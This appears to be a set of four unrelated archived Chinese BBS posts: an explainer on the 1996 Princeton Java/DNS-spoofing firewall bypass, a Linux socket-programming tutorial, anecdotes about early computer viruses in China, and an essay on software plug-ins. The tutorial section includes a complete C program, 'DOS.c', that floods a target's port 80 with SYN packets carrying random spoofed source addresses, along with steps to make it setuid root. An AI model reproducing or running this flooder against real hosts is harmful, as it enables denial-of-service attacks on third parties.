[返回上一页] [本讨论区]
日月光华 -- Internet精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Perseus (j d焰灿·翔非扬), 信区: Internet 标 题: JAVA 敲掉了几块防火墙的砖? 发信站: 日月光华站 (Sun Jun 27 16:20:10 1999) , 转信 JAVA 敲掉了几块防火墙的砖? 王波/译 1996年，普林斯顿大学三位研究人员公布了一个Java程式，成功地避过 网络防火墙（Firewall）。进入正题之前，让我们先介绍一种网络的基 本概念DNS与防火墙。 DNS 是“域名服务器”（Domain Name Service）的缩写，通过这项服 务，可以知道网络上每一部机器对应的网络地址。可以把 Internet 上 的每台机器看成现实生活中的办公室，每个办公室外面都挂有招牌，而 从招牌上的名称可以大致看出办公室的运作特性。例如　www.ibm.com 这个机器名称代表国际通用机器有限公司的WWW办公室，ftp.netscape. com 代表了Netscape的FTP 办公室，用浏览器连上www.ibm.com时，好比 向IBM的WWW办公室要要资料。 从这个比喻出发，局域网络（Local Area Network）就如一栋办公大楼， 大楼里各式各样的办公室各自代表了网络上的一部机器。办公室之所以 具备名称，主要是便于人们记忆。对实际的网络通信来说，采用纯数字 构成的网络IP地址，比如，www.ibm.com的IP是166.323.211.2，ftp. netscape.com办公室的网络地址是205.218.156.36。两个办公室之间传 送电子邮件时，实际运作的通信往来都是通过网络地址达成的，也就是 说，无形的电子邮件通道看到信封上写着www.ibm.com的收件处时，必须 向 DNS 询问对应的IP地址，才能顺利收发信件。不过，在 DNS 的世界里， 办公室与招牌名称并不保证是一对一的关系，这就是说，同一个机器名称 可能对应了数个 IP 地址，而同一个 IP 地址也可能对应到不同的机器， 当初采用这种设计的一个理由是，方便系统管理员以更有弹性的方式调整 不同机器的网络负荷。 例如　www.yahoo.com 这个办公室门口每天出现 的人次可能数以万计，系统管理员利用同一个机器名称对应到不同的 IP 地址，让数台机器都挂着同样的机器名称，外界对同一个名称连线，由 不同的机器分头处理，便能够有效的分散 WWW 网络作业的庞大负荷，让 处理同样事务的办公室挂着同样的招牌，对前来洽商的客户不仅清楚明了， 实际上也能有效地缓解整个网络的巨大压力。DNS 这种“办公室”与“招 牌”无须单一对应的设计固然方便，但却引发了网络通信的另一项危机 -- DNS Spoofing。Spoof 原文有“幽默而不真实之描述”的意思，在此 暂译为“伪造”，DNS Spoofing 基本上就是一种伪造 DNS 结果的技巧， 电子邮件通道向这种伪造过的 DNS 查号台查号，就会得到不正确的 IP 地址。DNS Spoofing 的形成是由于Internet自身的弱点，利用这种技巧 入侵网络的事件早有先例。 这次普林斯顿大学研究人员公布的研究结果，倒是充分利用了伪造 DNS 的特殊技巧，让 Java 通过防火墙后，能够对其他机器任意进行连接， 完全不受防火墙的约束。防火墙（Firewall）是办公大楼的警卫。如果 办公大楼里的每个办公室代表局域网络中的一部电脑，那防火墙就是整 栋办公大楼的警卫，大楼警卫的任务是监控所有进出的网络资料与通信 要求，充分维护大楼内部的安全。例如：隔壁大楼某办公室派人拉一条 Telnet 或 FTP 管线到大楼门口，要求与楼上另外一个办公室进行连线 或传输档案时，大楼警卫可以核对拉线工人身上的名牌，看看他的 IP 地址是不是在安全范围之内。以决定是否放行。如果一个局域网络规定 只有某些 IP 地址能够与网络内部的机器连线，就能有效地把不明来源 的要求阻隔在外，让大楼警卫先过滤进出的各种身份，赶走一些可疑的 不明人士。 通常，防火墙程序就是以这样的方式，区分公司内部网络与外部网络， 尽可能将不必要的外部请求切断，避免内部网络受到无谓的干扰或攻击。 防火墙的观念与作法对保护网络来说，发挥了相当显著的效果，也被各 界广泛采用。问题出在一旦警卫认为来访人士身份正确，所属之 IP 地 址代表可信任的机器，后面的细节就不在警卫的管辖范围之内了，以 Telnet 来说，外面的机器经过大楼警卫的许可与内部的机器进行联系之 后，双方相互传输的数据，防火墙是不能控制的。所以，防火墙可以杜 绝不明身份的连接请求，却不能防止使用通过正当的 Telnet连线进行 不正当系统操作。　　　 用 Java 写成的 Applet 放在网络上，使用者连上 Homepage后就等于 将其中的Applet程序下载到自己的电脑上执行。Java 语言在设计之初 便有着许多安全方面的考虑，Applet被下载到用户端的电脑上执行时， 负责执行的直译器（Interpreter）也能一一检查每个指令对系统来说 是否安全。不过对 DNS Spoofing 的效果来说，Java 小组却意外地没 有避开这项网络漏洞，让人有机可趁了。 　普林斯顿大学实验的报告可归纳如下： 　　 【实验背景】 受害机器的名称是 target.victim.org　IP 地址 10.10.10.2 无辜机器的名称是 stooge.victim.org　IP 地址 10.10.10.1 攻击者的机器名称 www.attacker.org　 IP 地址 172.16.16.16　 IP 范围在 10.10.10.1 到 10.10.10.255 之内的机器都受到防火墙的 保护，拒绝接受外界的任何连接请求，正常情况下攻击者无法对防火墙 内部的机器要求直接连线。　　　　 【准备活动】 攻击者建立一部假机器名为 bogus.attacker.org　并且让 DNS 把这部 机器同时对应到 10.10.10.2 与 172.16.16.16 两个地址 【启动攻击】 无辜的用户在 stooge.victim.org 机器上通过浏览器连到www.attacker. org 时，攻击者事先写好放在 Homepage 上的 Applet 程式便进入用户 端开始执行，这个Applet 一边执行看来无害的普通程序，一边却悄悄地 准备攻击其他机器。首先这个程序暗地里要求与 bogus.attacker.org 机器建立联系， 由于 DNS Spoofing 的关系，程序会得到 10.10.10.2 与 172.16.16.16 两组 IP 地址，此时Java 系统会把 Applet 程序的 原始地址（172.16.16.16）与 DNS 的结果进行比较，发现 172.16.16.16 在DNS 查号台的查号结果之内，便允许下一步的连接动作，可是下一步 实际进行连接时，Java 系统却会连到 DNS 查到的第一个 IP 地址上， 也就是 10.10.10.2　，就这样，Java 以为建立了合法的网络连线，实 际上却对 target.victim.org 发出非法的连线要求。 利用这种方式， 一般常见的网络侵入技巧就可以直接攻击 target.victim.org 这部原本 应该受到防火墙保护的机器。　　　 【奏效理由】 大楼警卫应该保护所有办公室不受外界无谓的侵扰，可是此处却完全派 不上用场。原因在于 Java 程式已经通过门口的例行检查，放行到某办 公室里执行去了，进了或者用已知的安全弱点在别的办公室门口上打洞。 更危险的是，进入大楼的 Java 程式如果无法攻破其他办公室，从理论 上讲 Java 还可以与基地 (www.attacker.org）联络，运用或调派其他 威力更强的特种部队，利用特殊武器（如著名的SATAN程式） 找出防火 墙内所有可能出现的安全漏洞。　　　 Web 病毒 感染和蔓延是电脑病毒的天性，当使用者无意间连上不明的 Web 站，因 而引入上述的 Java 程序，导致内部网络受到威胁，基本上就暗示了Web /Java 病毒可能入侵。如果 Java 程序利用这种方式，通过现有的网络漏 洞入侵其他机器，并将自己的程序「植入」其他无害的 Web 站，则 Web /Java 病毒的雏形就呼之欲现了，在 Java 技术不断发展革新的今天， 虽然预言 Web/Java 病毒还为之过早，不过笔者在此希望大家要开始正 视网络安全这一重要课题。　　　　 　 Sun 加装办公大楼监视器　　　 Sun 公司在全力推广Java的同时，自然不会让这样重要的漏洞继续存 在。大致的解决方法是，为了让 Java 程序进入办公大楼之后，不会非法 建立网络连接，Sun 决定记下Java 程序所属的来访单位，记下了该单位 的机器名称与 IP地址，任何以后的网络连接都必须核对一下目的单位， 如果与来访单位不同者，一律禁止。这种作法，应该能够有效地防止类似 情况的出现。　　 另外，加强 DNS 的安全性应该是更为可行的方法，但是由于 DNS 本身 是整个Internet 非常重要的检索服务，任何修改都会引发相当大的困难 和阻碍，所以，短期之内诉诸实现可能性不大。　 -- 我要飞翔，无论地狱还是天堂..! Welcome to http://[5mfennivel[10m.isCool.net ________ 成功的交响曲? 胜利的代言人? ___ __ \_____ _____________________ ____ __________ __ /_/ /_ _ \__ ___/__ ___/_ _ \_ / / /__ ___/ _ ____/ / __/_ / _(__ ) / __// /_/ / _(__ ) /_/ \___/ /_/ /____/ \___/ \__,_/ /____/ ........ is ready! ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.252] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Programming精华区文章阅读 -------------------------------------------------------------------------------- 发信人: freshbird (真菜鸟~快乐的愚人), 信区: Programming 标 题: 学习Linux网络编程(4) 发信站: 日月光华站 (Mon Apr 2 16:55:47 2001) , 站内信件 8. 套接字选项 有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的 选项了. 8.1 getsockopt和setsockopt int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optl en) int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen) level指定控制套接字的层次.可以取三种值: 1)SOL_SOCKET:通用套接字选项. 2)IPPRO TO_IP:IP选项. 3)IPPROTO_TCP:TCP选项. optname指定控制的方式(选项的名称),我们下面详细解释 optval获得或者是设置套接字选项.根据选项名称的数据类型进行转换 选项名称 说明 数据类型 ======================================================================== SOL_SOCKET ------------------------------------------------------------------------ SO_BROADCAST 允许发送广播数据 int SO_DEBUG 允许调试 int SO_DONTROUTE 不查找路由 int SO_ERROR 获得套接字错误 int SO_KEEPALIVE 保持连接 int SO_LINGER 延迟关闭连接 struct linger SO_OOBINLINE 带外数据放入正常数据流 int SO_RCVBUF 接收缓冲区大小 int SO_SNDBUF 发送缓冲区大小 int SO_RCVLOWAT 接收缓冲区下限 int SO_SNDLOWAT 发送缓冲区下限 int SO_RCVTIMEO 接收超时 struct timeval SO_SNDTIMEO 发送超时 struct timeval SO_REUSERADDR 允许重用本地地址和端口 int SO_TYPE 获得套接字类型 int SO_BSDCOMPAT 与BSD系统兼容 int ========================================================================== IPPROTO_IP -------------------------------------------------------------------------- IP_HDRINCL 在数据包中包含IP首部 int IP_OPTINOS IP首部选项 int IP_TOS 服务类型 IP_TTL 生存时间 int ========================================================================== IPPRO_TCP -------------------------------------------------------------------------- TCP_MAXSEG TCP最大数据段的大小 int TCP_NODELAY 不使用Nagle算法 int ========================================================================= 关于这些选项的详细情况请查看 Linux Programmers Manual 8.2 ioctl ioctl可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项. int ioctl(int fd,int req,...) ========================================================================== ioctl的控制选项 -------------------------------------------------------------------------- SIOCATMARK 是否到达带外标记 int FIOASYNC 异步输入/输出标志 int FIONREAD 缓冲区可读的字节数 int 详细的选项请用 man ioctl_list 查看. 9. 服务器模型 学习过《软件工程》吧.软件工程可是每一个程序员"必修"的课程啊.如果你没有学习过 , 建议你去看一看. 在这一章里面,我们一起来从软件工程的角度学习网络编程的思想. 在我们写程序之前, 我们都应该从软件工程的角度规划好我们的软件,这样我们开发软件 的效率才会高. 在网络程序里面,一般的来说都是许多客户机对应一个服务器.为了处理 客户机的请求, 对服务端的程序就提出了特殊的要求.我们学习一下目前最常用的服务器 模型. 循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求 并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求 9.1 循环服务器:UDP服务器 UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理 , 然后将结果返回给客户机. 可以用下面的算法来实现. socket(...); bind(...); while(1) { recvfrom(...); process(...); sendto(...); } 因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循 环, 服务器对于每一个客户机的请求总是能够满足. 9.2 循环服务器:TCP服务器 TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客 户的所有请求后,断开连接. 算法如下: socket(...); bind(...); listen(...); while(1) { accept(...); while(1) { read(...); process(...); write(...); } close(...); } TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 服务器才可以继续后面的请求.这样如果有一个客户端占住服务器不放时,其它的客户机 都不能工作了.因此,TCP服务器一般很少用循环服务器模型的. 9.3 并发服务器:TCP服务器 为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是 每一个客户机的请求并不由服务器直接处理,而是服务器创建一个 子进程来处理. 算法如下: socket(...); bind(...); listen(...); while(1) { accept(...); if(fork(..)==0) { while(1) { read(...); process(...); write(...); } close(...); exit(...); } close(...); } TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一 个不小的问题.为了响应客户机的请求,服务器要创建子进程来处理. 而创建子进程是一 种非常消耗资源的操作. 9.4 并发服务器:多路复用I/O 为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型. 首先介绍一个函数select int select(int nfds,fd_set *readfds,fd_set *writefds, fd_set *except fds,struct timeval *timeout) void FD_SET(int fd,fd_set *fdset) void FD_CLR(int fd,fd_set *fdset) void FD_ZERO(fd_set *fdset) int FD_ISSET(int fd,fd_set *fdset) 一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比 如我们从一个套接字读数据时,可能缓冲区里面没有数据可读(通信的对方还没有 发送数 据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞 ,我们的一个选择是用select系统调用. 只要我们设置好select的各个参数,那么当文件 可以读写的时候select回"通知"我们 说可以读写了. readfds所有要读的文件文件描述 符的集合 writefds所有要的写文件文件描述符的集合 exceptfds其他的服要向我们通知的文件描述符 timeout超时设置. nfds所有我们监控的文件描述符中最大的那一个加1 在我们调用select时进程会一直阻塞直到以下的一种情况发生. 1)有文件可以读.2)有文 件可以写.3)超时所设置的时间到. 为了设置文件描述符我们要使用几个宏. FD_SET将fd加入到fdset FD_CLR将fd从fdset里面清除 FD_ZERO从fdset中清除所有的文件描述符 FD_ISSET判断fd是否在fdset集合中 使用select的一个例子 int use_select(int *readfd,int n) { fd_set my_readfd; int maxfd; int i; maxfd=readfd[0]; for(i=1;i if(readfd[i]>maxfd) maxfd=readfd[i]; while(1) { /* 将所有的文件描述符加入 */ FD_ZERO(&my_readfd); for(i=0;i FD_SET(readfd[i],*my_readfd); /* 进程阻塞 */ select(maxfd+1,& my_readfd,NULL,NULL,NULL); /* 有东西可以读了 */ for(i=0;i if(FD_ISSET(readfd[i],&my_readfd)) { /* 原来是我可以读了 */ we_read(readfd[i]); } } } 使用select后我们的服务器程序就变成了. 初始话(socket,bind,listen); while(1) { 设置监听读写文件描述符(FD_*); 调用select; 如果是倾听套接字就绪,说明一个新的连接请求建立 { 建立连接(accept); 加入到监听文件描述符中去; } 否则说明是一个已经连接过的描述符 { 进行操作(read或者write); } } 多路复用I/O可以解决资源限制的问题.着模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.如由于服务器依次处理客户的请求,所以可能会导致有的客户 会 等待很久. 9.5 并发服务器:UDP服务器 人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单 的.和并发的TCP服务器模型一样是创建一个子进程来处理的 算法和并发的TCP模型一样 . 除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型. 9.6 一个并发TCP服务器实例 #include #include #include #include #include #define MY_PORT 8888 int main(int argc ,char **argv) { int listen_fd,accept_fd; struct sockaddr_in client_addr; int n; if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Socket Error:%s\n\a",strerror(errno)); exit(1); } bzero(&client_addr,sizeof(struct sockaddr_in)); client_addr.sin_family=AF_INET; client_addr.sin_port=htons(MY_PORT); client_addr.sin_addr.s_addr=htonl(INADDR_ANY); n=1; /* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间 */ setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int)); if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0) { printf("Bind Error:%s\n\a",strerror(errno)); exit(1); } listen(listen_fd,5); while(1) { accept_fd=accept(listen_fd,NULL,NULL); if((accept_fd<0)&&(errno==EINTR)) continue; else if(accept_fd<0) { printf("Accept Error:%s\n\a",strerror(errno)); continue; } if((n=fork())==0) { /* 子进程处理客户端的连接 */ char buffer[1024]; close(listen_fd); n=read(accept_fd,buffer,1024); write(accept_fd,buffer,n); close(accept_fd); exit(0); } else if(n<0) printf("Fork Error:%s\n\a",strerror(errno)); close(accept_fd); } } 你可以用我们前面写客户端程序来调试着程序,或者是用来telnet调试 10. 原始套接字 我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可 以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的 人创建. 10.1 原始套接字的创建 int sockfd(AF_INET,SOCK_RAW,protocol) 可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比 如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 下面我们以一个实例 来说明原始套接字的创建和使用 10.2 一个原始套接字的实例 还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的 源代码 /******************** DOS.c *****************/ #include #include #include #include #include #include #include #include #include #define DESTPORT 80 /* 要攻击的端口(WEB) */ #define LOCALPORT 8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char **argv) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; if(argc!=2) { fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); exit(1); } bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); if(inet_aton(argv[1],&addr.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); exit(1); } addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); } /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/ sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); exit(1); } /******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/ setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); /**** 没有办法,只用超级护用户才可以使用原始套接字 *********/ setuid(getpid()); /********* 发送炸弹了!!!! ****/ send_tcp(sockfd,&addr); } /******* 发送炸弹的实现 *********/ void send_tcp(int sockfd,struct sockaddr_in *addr) { char buffer[100]; /**** 用来放置我们的数据包 ****/ struct ip *ip; struct tcphdr *tcp; int head_len; /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/ head_len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer,100); /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/ ip=(struct ip *)buffer; ip->ip_v=IPVERSION; /** 版本一般的是 4 **/ ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/ ip->ip_tos=0; /** 服务类型 **/ ip->ip_len=htons(head_len); /** IP数据包的长度 **/ ip->ip_id=0; /** 让系统去填写吧 **/ ip->ip_off=0; /** 和上面一样,省点时间 **/ ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/ ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/ ip->ip_sum=0; /** 校验和让系统去做 **/ ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/ /******* 开始填写TCP数据包 *****/ tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=addr->sin_port; /** 目的端口 **/ tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1; /** 我要建立连接 **/ tcp->check=0; /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ while(1) { /** 你不知道我是从那里来的,慢慢的去等吧! **/ ip->ip_src.s_addr=random(); /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ /** 下面这条可有可无 */ tcp->check=check_sum((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); } } /* 下面是首部校验和的算法,偷了别人的 */ unsigned short check_sum(unsigned short *addr,int len) { register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); } 编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普 通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位 [root@hoyt /root]#chown root DOS [root@hoyt /root]#chmod +s DOS 10.3 总结 原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了 . 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负 责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用 相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各 个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址 ,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由 系统来创建的. 11. 后记 总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一 件 不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都省 略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步. 如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络 程序我们还有着遥远的路要走. 网络程序一般的来说都是多进程加上多线程的.为了处理 好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突发 事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好 这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各种 网络协议.总之我们要学的东西还很多很多. 看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编写 的. 不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我们 就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的. 我们就可以追上别人直到超过别人! 相信一点: 别人可以做到的我们一样可以做到,而且可以比别人做的更好! 勇敢的freshbird和你的mm,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会 记住你们的! -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 202.119.32.102] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Virus精华区文章阅读 -------------------------------------------------------------------------------- 发信人: chester (东东), 信区: Virus 标 题: 电脑病毒是看不见摸不着的吗？ 发信站: 日月光华站 (Sun Apr 16 00:19:30 2000) , 站内信件 3.电脑病毒是看不见摸不着的吗？ 许多人以为电脑病毒也像生物病毒一样，是肉眼看不 见的。其实，多数电脑病毒有自己的病毒现象。下面的纪 实片段也许会让您想起，你曾经也看到过病毒现象。 1988年底，一位旅美学者从美国带回来一台电脑，他 在电脑里安装了一个称为VirusGuard的防病毒程序，人们 好生兴趣地问：“电脑病毒什么时候才会光临中国? ”， 他认真地回答：“也许就在明年。”。在这之前，国内的 一些报刊也曾报道过国外的电脑病毒，但都是在通信网络 上传播的，不少人以为我国的通信网络发展才刚刚开始， 电脑病毒离我们还远着呢。半年之后，那是1989年4 月的 一天，某计算中心发出了求救信号，那里的7台PC/AT机相 继出现了圆点“小球”在屏幕上不停地弹跳。后来的报道 证实，这就是入侵我国的第一个电脑病毒。 1990年8月，某县城一个工厂从省城购买了一套386系 统设备用于工厂的MIS管理。 不久之后， 发现了一个 怪现象，只要一发送打印命令，就提示 “ . . . error writing device PRN”，无法联机打印。 工厂的 技术人员详细检查了打印机接口和信号电缆，也检查了汉 字操作系统和汉字打印驱动程序，甚至还把汉字操作系统 卸掉，都无法联机打印。他们怀疑是打印机故障，就把打 印机送去省城维修，检查结果是打印机没有故障。 可是， 他们将这个没有故障的打印机带回县城连在自己的386 系 统上，却仍然不打印。他们只好将整套设备送到省城维修。 经检查分析，原来是Unprint病毒在作怪。 1991年6月1日，某电脑室打字员小芳照常打开电脑， 启动汉字系统，突然屏幕上出现一只蜈蚣式的“小虫”在 屏幕的顶行缓慢地向右爬行，从屏幕的第一行又爬到了第 二行，一直往下爬。胆小怕事的小芳吓坏了，赶紧叫来电 脑技术人员，用KILL软件杀掉了这个1575病毒。 1992年11月的一天，办事员小李同往常一样先打开显 示器，再打开电脑主机，准备起草一份文件，可是屏幕上 没有出现平常的汉字系统提示，却把屏幕设置成蓝色的背 景，五支红色“火炬”在闪烁。他关机后，重新开机，发 现硬盘已经不能启动，再用软盘启动，也不能进入硬盘操 作。原来这是“火炬”病毒发作现象。技术人员立即赶到 现场，经检查，还好他的电脑中毒不深，用DEBUG 恢复了 硬盘数据。 1993年5月4日，做事一向认真的小王又要进行每周一 次的病毒检查工作，他在DOS下键入SCAN命令， 可是电脑 没有照常做扫毒工作，却以红底白字显示如下信息： ┌──────────────────────┐ │ XqR: │ │ │ │ Wherever, I love you Forever and ever ! │ │ The beautiful memory for ours in that │ │ summer time has been recorded in the Com- │ │ puter history. │ │ Bon voyage, My dear XqR ! │ │ │ │ Yours 05121991 in our Home. │ └──────────────────────┘ 原来这是一封情意绵绵的“情书”，它来自“新世纪”病 毒。 1994年12月26日清晨，广播“历史上的今天”播出了 今天是毛泽东主席诞辰101周年纪念日。上午九点多， 某 省直机关文印室的5台电脑相继演奏《浏阳河》乐曲。 联 想到9月9日有一台电脑曾经演奏过《东方红》乐曲，他们 断定又是电脑病毒在发作。 -- 说起来爱情的悲欢离合,有个你,我永远不提. 相偎又相依要留在心里,陪我一路到天涯. ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 61.129.140.109] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Internet精华区文章阅读 -------------------------------------------------------------------------------- 发信人: srcap (垃圾), 信区: Internet 标 题: 《 软件中的插件技术 》 发信站: 日月光华站 (Fri Apr 30 11:59:30 1999) , 转信 插件概述 　　插件的本质是在不修改程序主体的情况下对软件功能进行加强，当插件的接口 被公开时，任何公司或个人都可以自己制作插件来解决一些操作上的不便或增加一 些功能。比如我手头正在写的最新版本ENCounter，允许其他的软件接驳进来，驻 留的程序可以只是ENCounter一个，但是当联网成功时，ENCounter可以除了记费 外，还能呼叫其他的插件模块来执行诸如检查邮件等操作，这样比驻留一个 ENCounter邮件检查软件更有效。 　　使用插件的软件中最成功的莫过于PhotoShop了。使用过PhotoShop的人对滤 镜一定不陌生。即使是初涉图形制作的生手，只要去获取一些好的滤镜，也能够轻 易地作出特殊效果。另一套著名的使用插件机制的软件是WinAmp，WinAmp早期的 成功虽然在于其快速的解码引擎，但在MP3播放器中能够保持长久的霸主地位，也 正是由于内置了健全的Skin和PlugIn(插件)。细心的朋友一定注意到了，后期的 WinAmp中增加的MIDI、MOD、WAVE等音乐格式的播放功能完全是靠插件实现的。 　　插件还可以支持多人合作开发，只要有一个好的插件机制，不同的功能可以由 不同的人来完成，而且由于不同插件之间互不影响，方便程序的调试和纠错。 插件类型 　　从广义的范围来看，插件有以下三种类型： 　　1． 类似批命令的简单插件。事实上这种插件的自由度非常低。使用这种方法 的软件有Win Hacker等，运行这种插件后，会一步步要求用户进行选择/输入，最 后根据用户的输入来执行一系列事先定义好的操作。这种插件一般是文本文件。功 能比较单一，可扩展性极小。优点是插件做起来非常方便，即使是对程序设计了解 不多的人也可以制作。如WinAmp的Skin。 　　2． 使用一种特殊的脚本语言来实现的插件(暂时称为脚本插件)。这种插件比 较难写，需要软件开发者自己制作一个程序解释内核。比如微软惹了很多麻烦的宏 就是这种类型的。有一套著名的Office辅助工具就是完全用Office内置的 VBScript写成的。这种方法的优点在于无需使用其它工具来制作插件，软件本身 就可以实现，普遍出现于各种办公自动化软件中。 　　3． 利用已有的程序开发环境来制作插件。例如PhotoShop等软件使用的方法。 使用这种方法的软件在程序主体中建立了多个自定义的接口，使插件能够自由访问 程序中的各种资源。这种插件的优势在于自由度极大，可以无限发挥插件开发者的 创意，这种插件是狭义范围的插件，也是真正意义上的插件。而这种插件机制的编 写相对复杂，对于插件接口之间的协调比较困难，插件的开发也需要专业的程序员 才能进行。 插件实例 　　网页作坊（HTML SHOP）是我国第一个使用插件机制的共享软件。 　　以下我们将以HTML SHOP为例子，来深入了解插件机制的开发： 　　在软件中添加插件机制，首先需要进行详细的应用分析，确定应该提供哪些资 源给插件开发者使用。HTML SHOP作为一个网页编辑器，对网页的编辑是建立在“计 划”的基础上的，因此，我们必须提供给插件开发者访问当前打开计划信息的能力， 能够自由地读取和写入的能力。 　　为了让插件提供的功能能够被用户方便调用，必须将主菜单的控制权与插件开 发者共享，而网页作坊的程序界面模仿了经典软件开发环境Delphi 3.0，因此我 们同时将工具条中的标签页组的权利提供给插件开发者。这个应用分析部分是插件 机制开发的重头，是最难把握的部分，如果提供出来的权利太大，写得拙劣的插件 发生错误时可能威胁到主程序，如果提供出来的权利太小，又限制了插件开发者的 想象力。 　　在编程方面包括了两个部分，一部分是主体程序的插件处理机制，用来进行初 始化每个插件的过程，并且管理好每个插件接口，在插件访问时能够做出正确的反 馈。另一部分是插件的接口函数定义，将所有的插件接口函数进行封装，以便开发 者自由调用。在HTML SHOP中，这部分的封装文件是HBPlugin.pas，当开发者在 程序中引用了该文件时，就可以直接调用其中的TOOLHOST对象，使用封装于该对 象的插件接口函数。 　　而最重要的部分当然是插件和主程序之间的通讯了。在网页作坊中的插件其实 是一个遵循了某些特定规则的DLL，而主程序将所有插件接口在内存中的地址传递 给插件，插件则根据这些地址来呼叫插件接口完成所需功能、获取所需资源等。 -- I love: games programming and that others consider me as a pile of garbage ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.13.21.21] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
